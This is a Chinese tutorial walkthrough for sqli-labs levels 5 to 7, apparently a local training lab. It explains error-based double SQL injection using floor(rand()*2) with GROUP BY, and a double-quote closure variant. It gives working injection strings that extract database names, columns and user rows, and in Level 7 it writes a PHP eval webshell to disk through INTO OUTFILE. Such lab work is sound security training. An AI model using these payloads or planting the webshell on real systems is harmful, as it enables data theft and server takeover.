先说一个确定列数的方法
?id=1 order by 3 %23
order by 如果我们需要对读取的数据进行排序,我们就可以使用 MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。这里就是利用这个功能,通过报错来判别列数。
通过不断增加 order by 后的数字,达到确定列数的目的。
如下面两图,为 3 时,页面正常,为 4 时,页面报错。这就说明共用3列。
5. Less-5
开始正题,本关为双注入 ,在开始之前我们要先理解什么是双注入。研究发现在Mysql数据库中,当在一个聚合函数后面如果使用分组语句,就会把一部分查询的内容以错误的形式显示出来。这是双注入的前提,也算是Mysql的一个bug吧。
在讲解之前我们需要知道以下知识。
我们需要了解一些函数
随机函数 Rand() 返回大于0小于1
取整函数 Floor() 返回小于输入数的整数
Count() 用来统计表中记录的一个函数,返回匹配条件的行数。 这里利用它是一个聚合函数的性质。
分组语句 Group by 当group by 与聚合函数配合使用时,功能为分组后计算
当group by 与having配合使用时,功能为分组后过滤
两个例子: concat(‘你’,‘好’); 结果为你好
floor(rand()*2) 返回1 or 0
开始讲一下双注入的原理,它其实是通过floor的报错来导致group by语句的报错。group by语句报错的核心原因就是floor(random(0)*2)这条语句产生的结果可能为0也可能为1。
我们知道 group by 是循环读取数据的每一行,并将结果保存于虚拟表中。
在读取每一行的值的时候,
如果这个值存在于虚拟表中,则不更新虚拟表的数据,计数加一。
如果这个值不存在于临时表中,则在虚拟表中插入这个值所在行的数据。
我们不妨执行一下,随意编造一个0、1组合的表。
通过floor(rand()*2) 不断的随机 0 和 1
而rand()函数又存在一个特点,在虚拟表统计过程中,他会被执行两次。会出现这样的情况,即当虚拟表中已经有 1 和 0 的统计时,会出现第三个 1 或 0,这时因为主键不能重复,从而产生错误。
这个错误又通过我们构造的函数产生到页面。
查出当前数据库名,这里用的是--+ 这个注释方式
?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2)) as a from information_schema.tables group by a--+
这里详细讲一下查询语句。
爆字段
?id=1' union select count(*),2,concat('*',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'*',floor(rand()*2)) as a from information_schema.tables group by a --+
爆数据
?id=1' union select count(*),2,concat('*',(select id from users limit 0,1),'*',floor(rand()*2)) as a from information_schema.tables group by a --+
- Less-6
又出现单引号什么也没显示的情况,眼熟吗?
这次闭合是用双引号。在本题前一定要记住先判断闭合方式。
爆当前数据库,其它操作与上一关相同这里不细讲了。
?id=-1" union select count(*),2,concat('>>',(select database()),'<<',floor(rand()*2)) as a from information_schema.tables group by a %23
如果出现下图的情况,即sql语句没错,可页面没有报错,多点几次提交就可以了。上面我们说过rand()函数。成功报错会有一定的概率。
7.Less-7
先判断闭合方式,这里是 “)) ,用一下万能钥匙— or 1=1。发现提示要使用outfile。这是一个导出型注入。
本关需要把表数据导出到一个文本文件中
outfile()导出多行
dumpfile()导出一行
既然是需要导出到一个文件中,那么首先我们需要知道一个路径。这里要使用一下前几关。
我们用第一关吧
http://127.0.0.1/Less-1/?id=-1' union select 1,@@datadir,@@basedir %23
@@datadir 指定了 MySQL 的数据库文件放在什么路径下。
@@basedir MySQL 安装的路径。
这两个哪个都可以。需要注意这个路径最好在你网站根目录之上,也就是说下图中的这个phpStudyB是我网站的根路径。当然根路径上的其它也行,前提是可知的、可访问的路径。
用一下PHP的一句话木马。注意后面的路径是Windows的路径要使用 \ ,这里还要加转义符 \ ,即两个\。
向这个路径写一个包含一句话木马的b.php文件
?id=1')) union select 1,2,'<?php @eval($_POST["b"])?>' into outfile
"C:\\phpStudyB\\MySQL\\b.php" %23
访问这个路径,页面没有报错。说明一句话木马生效。
用菜刀连一下,成功。
我们来看一下这个写入的b.php 木马成功写入